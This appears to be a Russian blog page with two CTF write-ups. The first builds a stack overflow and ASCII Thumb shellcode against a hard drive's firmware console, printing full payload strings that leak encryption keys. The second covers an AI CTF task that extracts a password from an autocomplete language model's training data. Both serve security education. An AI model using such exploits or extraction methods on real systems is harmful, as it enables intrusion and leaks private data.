Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

Разукрашенная плата

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
level_3.htmllevel_3.html

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

  • Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

  • Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

  • Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

0001-keystone-armv5.patch
user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}
user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Грузим второй ключ по правилам из level_3.html в R1

  4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

  5. Сохраняем его в память, куда указывает R7

  6. Подгружаем его в R0

  7. Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"
F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Congrats.pdf

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Подробнее..

Сломать ИИ разбор заданий AI CTF на PHDays 10

02.06.2021 14:09:29 | Автор: admin

Продолжая развивать тему безопасности и рисков AI, в рамках конференции мы собрали трек с докладами и CTF-соревнование для безопасников, затрагивающее риски AI. В этой статье расскажем про соревнование: какие задания были и как все прошло.

AI CTF проходит не первый раз, прошлое описание формата и заданий в прошлой статье.

Разбор заданий

Тема и безопасности и искусственного интеллекта довольно хайповые по отдельности. Но когда объединяются, то чаще всего вспоминаются adversarial attacks,которые в реальной жизни на самом деле не являются такими уж и распространенными. Мы постарались подсветить другие возможные риски.

Оценивались задания в этом году динамически в самом начале все задания стоили одинаково, а в дальнейшем их стоимость уменьшалась, если их решали много участников. Это спасло от неправильной оценки заданий нами и сделало оценивание, на наш взгляд, справедливее.

3v1l_k3yb04rd

Это задание стало самым популярным среди решенных и одновременно вызывающим много вопросов.

Идея задания отсылка к области data privacy и языковым моделям, которые могут отдавать приватную информацию на которой обучались.

По легенде (описанию задания), участникам доставалась полученная модель автодополнения слов, извлеченная из клавиатуры одного из топ-менеджеров какой-то компании и его последние слова. Участникам предлагалось найти пароль, что и являлось бы флагом для получения баллов.

Задание решалось просто, если в API к ответу модели поменять top-n предсказаний, которые отображались пользователю (по умолчанию отображалось одно). Начав с фразы, которая была в описании, можно было бы получать несколько вариантов, используя их для следующего предсказания. Пробуя разное, в какой-то момент модель предложила бы фразу, дополненную флагом.

Начиная с Somewhere in можно было бы получать варианты дополнений и, перебирая их, удалось бы получить полную фразу. В идеале нужно было сложить предложение Somewhere in Moscow City hacker Bob broke the system with password, и дополнился бы флаг.

Флагом была фраза pr1v473_d474_5h0uld_b3_pr1v473, которую нужно было обернуть в тег AICTF{__}.

Мы планировали, что чтобы была понятна механика таска, куда копать, будет круто, если фраза будет понятной: кто, где, что делал. По такой схеме понятно куда двигаться. Однако нам не удалось достаточно явно отразить такую схему в описании задания и участники словили некоторые трудности при решении, например, получали только часть фразы или фразу в похожем формате флага. Однако все равно задание оказалось решаемым для большинства участников.

